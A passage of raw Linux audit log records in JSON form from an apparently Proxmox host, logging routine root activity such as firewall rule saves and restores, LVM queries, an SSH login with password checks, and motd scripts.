uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=7 comm=\"id\" exe=\"/usr/bin/id\" subj=unconfined key=\"exec\""} {"@timestamp":1781966225963,"@rawstring":"node=pve type=PATH msg=audit(1781966225.963:68978): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965524396,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965524.396:65967): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781964796137,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964796.137:62662): arch=c000003e syscall=59 success=yes exit=0 a0=6122687e38b0 a1=7ffde1084bc0 a2=6122687f4e30 a3=8 items=2 ppid=60082 pid=60083 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=7 comm=\"bash\" exe=\"/usr/bin/bash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966225956,"@rawstring":"node=pve type=PATH msg=audit(1781966225.956:68977): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965524358,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965524.358:65966): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781964796133,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964796.133:62659): arch=c000003e syscall=257 success=yes exit=11 a0=ffffffffffffff9c a1=7ffde1085730 a2=42 a3=180 items=1 ppid=985 pid=60035 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=7 comm=\"sshd-session\" exe=\"/usr/lib/openssh/sshd-session\" subj=unconfined key=\"lastlog_change\""} {"@timestamp":1781966225956,"@rawstring":"node=pve type=PATH msg=audit(1781966225.956:68977): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965523327,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965523.327:65965): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964796122,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964796.122:62656): arch=c000003e syscall=59 success=yes exit=0 a0=5c910fb6c660 a1=5c910fb5c2a0 a2=7ffc8c19ff68 a3=0 items=3 ppid=60079 pid=60080 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=7 comm=\"10-uname\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966225866,"@rawstring":"node=pve type=PATH msg=audit(1781966225.866:68976): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965523327,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965523.327:65964): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964796120,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964796.120:62655): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc547576c0 a1=7ffc54757a20 a2=576573fe7520 a3=38b items=2 ppid=60078 pid=60079 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=7 comm=\"run-parts\" exe=\"/usr/bin/run-parts\" subj=unconfined key=\"exec\""} {"@timestamp":1781966225866,"@rawstring":"node=pve type=PATH msg=audit(1781966225.866:68976): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965523327,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965523.327:65963): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964796119,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964796.119:62651): arch=c000003e syscall=59 success=yes exit=0 a0=70dc52f91ea4 a1=7ffde1085830 a2=6122687779d0 a3=8 items=2 ppid=60035 pid=60078 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=7 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966225866,"@rawstring":"node=pve type=PATH msg=audit(1781966225.866:68975): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965523320,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965523.320:65962): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964796119,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964796.119:62650): arch=c000003e syscall=259 success=yes exit=0 a0=ffffff9c a1=5e4969d87510 a2=1180 a3=0 items=2 ppid=1 pid=835 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"systemd-logind\" exe=\"/usr/lib/systemd/systemd-logind\" subj=unconfined key=\"specialfile_operation_detected\""} {"@timestamp":1781966225866,"@rawstring":"node=pve type=PATH msg=audit(1781966225.866:68974): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965523320,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965523.320:65961): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964796097,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964796.097:62649): arch=c000003e syscall=257 success=yes exit=8 a0=ffffff9c a1=70dc52f95da6 a2=80000 a3=0 items=1 ppid=985 pid=60035 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=7 comm=\"sshd-session\" exe=\"/usr/lib/openssh/sshd-session\" subj=unconfined key=\"etc-passwd_change\""} {"@timestamp":1781966225858,"@rawstring":"node=pve type=PATH msg=audit(1781966225.858:68973): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965523320,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965523.320:65960): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964796095,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964796.095:62648): arch=c000003e syscall=1 success=yes exit=1 a0=6 a1=7ffde1085e20 a2=1 a3=0 items=0 ppid=985 pid=60035 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=7 comm=\"sshd-session\" exe=\"/usr/lib/openssh/sshd-session\" subj=unconfined key=(null)"} {"@timestamp":1781966225858,"@rawstring":"node=pve type=PATH msg=audit(1781966225.858:68973): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965518312,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965518.312:65959): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964796093,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964796.093:62645): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=7f51d7e19da6 a2=80000 a3=0 items=1 ppid=60035 pid=60077 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"etc-passwd_change\""} {"@timestamp":1781966225858,"@rawstring":"node=pve type=PATH msg=audit(1781966225.858:68972): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965518310,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965518.310:65958): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964796092,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964796.092:62644): arch=c000003e syscall=59 success=yes exit=0 a0=70dc529a004a a1=7ffde1085ae0 a2=70dc529a3018 a3=0 items=2 ppid=60035 pid=60077 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"exec\""} {"@timestamp":1781966225858,"@rawstring":"node=pve type=PATH msg=audit(1781966225.858:68971): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965518310,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965518.310:65957): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964796048,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964796.048:62642): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=7bad00c7fda6 a2=80000 a3=0 items=1 ppid=60035 pid=60076 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"etc-passwd_change\""} {"@timestamp":1781966224589,"@rawstring":"node=pve type=PATH msg=audit(1781966224.589:68970): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965518302,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965518.302:65956): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964796048,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964796.048:62641): arch=c000003e syscall=59 success=yes exit=0 a0=70dc529a004a a1=7ffde10858c0 a2=70dc529a3028 a3=0 items=2 ppid=60035 pid=60076 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"exec\""} {"@timestamp":1781966224589,"@rawstring":"node=pve type=PATH msg=audit(1781966224.589:68970): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965518302,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965518.302:65955): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964795838,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964795.838:62640): arch=c000003e syscall=59 success=yes exit=0 a0=5f2c341b80e0 a1=5f2c341b4e60 a2=5f2c34196680 a3=5 items=2 ppid=60069 pid=60075 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966224563,"@rawstring":"node=pve type=PATH msg=audit(1781966224.563:68969): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965518302,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965518.302:65954): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964795835,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964795.835:62639): arch=c000003e syscall=59 success=yes exit=0 a0=5f2c06cd7ac8 a1=7ffc6a432ca0 a2=5f2c34196680 a3=5f2c06cbb24e items=2 ppid=60069 pid=60071 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966224563,"@rawstring":"node=pve type=PATH msg=audit(1781966224.563:68969): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965515223,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965515.223:65953): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964795834,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964795.834:62638): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc6a432c60 a1=5f2c3419d310 a2=5f2c34196680 a3=5 items=2 ppid=60069 pid=60070 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966220846,"@rawstring":"node=pve type=PATH msg=audit(1781966220.846:68968): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965515219,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965515.219:65952): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964795830,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964795.830:62636): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=60069 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966220846,"@rawstring":"node=pve type=PATH msg=audit(1781966220.846:68968): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965515217,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965515.217:65951): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964795825,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964795.825:62635): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60068 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966220846,"@rawstring":"node=pve type=PATH msg=audit(1781966220.846:68967): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965515217,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965515.217:65950): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964795818,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964795.818:62634): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60067 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966220846,"@rawstring":"node=pve type=PATH msg=audit(1781966220.846:68966): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965515206,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965515.206:65949): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964795812,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964795.812:62633): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60066 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966220839,"@rawstring":"node=pve type=PATH msg=audit(1781966220.839:68965): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965515191,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965515.191:65948): proctitle=\"ip6tables-save\""} {"@timestamp":1781964795806,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964795.806:62632): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60065 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966220839,"@rawstring":"node=pve type=PATH msg=audit(1781966220.839:68965): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965515183,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965515.183:65947): proctitle=\"iptables-save\""} {"@timestamp":1781964795803,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964795.803:62631): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5cb869532740 items=0 ppid=1156 pid=60064 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966220839,"@rawstring":"node=pve type=PATH msg=audit(1781966220.839:68964): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965515173,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965515.173:65946): proctitle=\"ip6tables-save\""} {"@timestamp":1781964795800,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964795.800:62630): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0f4950 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60064 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966220839,"@rawstring":"node=pve type=PATH msg=audit(1781966220.839:68963): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965515165,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965515.165:65945): proctitle=\"iptables-save\""} {"@timestamp":1781964795795,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964795.795:62629): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc1013e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60063 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215942,"@rawstring":"node=pve type=PATH msg=audit(1781966215.942:68962): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965515161,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965515.161:65944): proctitle=\"ebtables-restore\""} {"@timestamp":1781964795789,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964795.789:62628): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc135510 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60062 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215942,"@rawstring":"node=pve type=PATH msg=audit(1781966215.942:68962): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965515159,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965515.159:65943): proctitle=\"ebtables-restore\""} {"@timestamp":1781964795784,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964795.784:62627): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc130160 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60061 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215939,"@rawstring":"node=pve type=PATH msg=audit(1781966215.939:68961): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965515152,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965515.152:65942): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964795778,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964795.778:62626): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc135510 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60060 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215939,"@rawstring":"node=pve type=PATH msg=audit(1781966215.939:68961): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965515146,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965515.146:65941): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964795773,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964795.773:62625): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0b8810 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60059 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215939,"@rawstring":"node=pve type=PATH msg=audit(1781966215.939:68960): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965515138,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965515.138:65940): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964795766,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964795.766:62624): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60058 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215939,"@rawstring":"node=pve type=PATH msg=audit(1781966215.939:68960): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965515133,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965515.133:65939): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964795760,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964795.760:62623): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60057 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215939,"@rawstring":"node=pve type=PATH msg=audit(1781966215.939:68959): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965515127,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965515.127:65938): proctitle=697073657400726573746F7265"} {"@timestamp":1781964795757,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964795.757:62622): arch=c000003e syscall=59 success=yes exit=0 a0=574ad3c3ee90 a1=574ad3c3bc10 a2=574ad3c1d680 a3=5 items=2 ppid=60050 pid=60056 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215934,"@rawstring":"node=pve type=PATH msg=audit(1781966215.934:68958): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 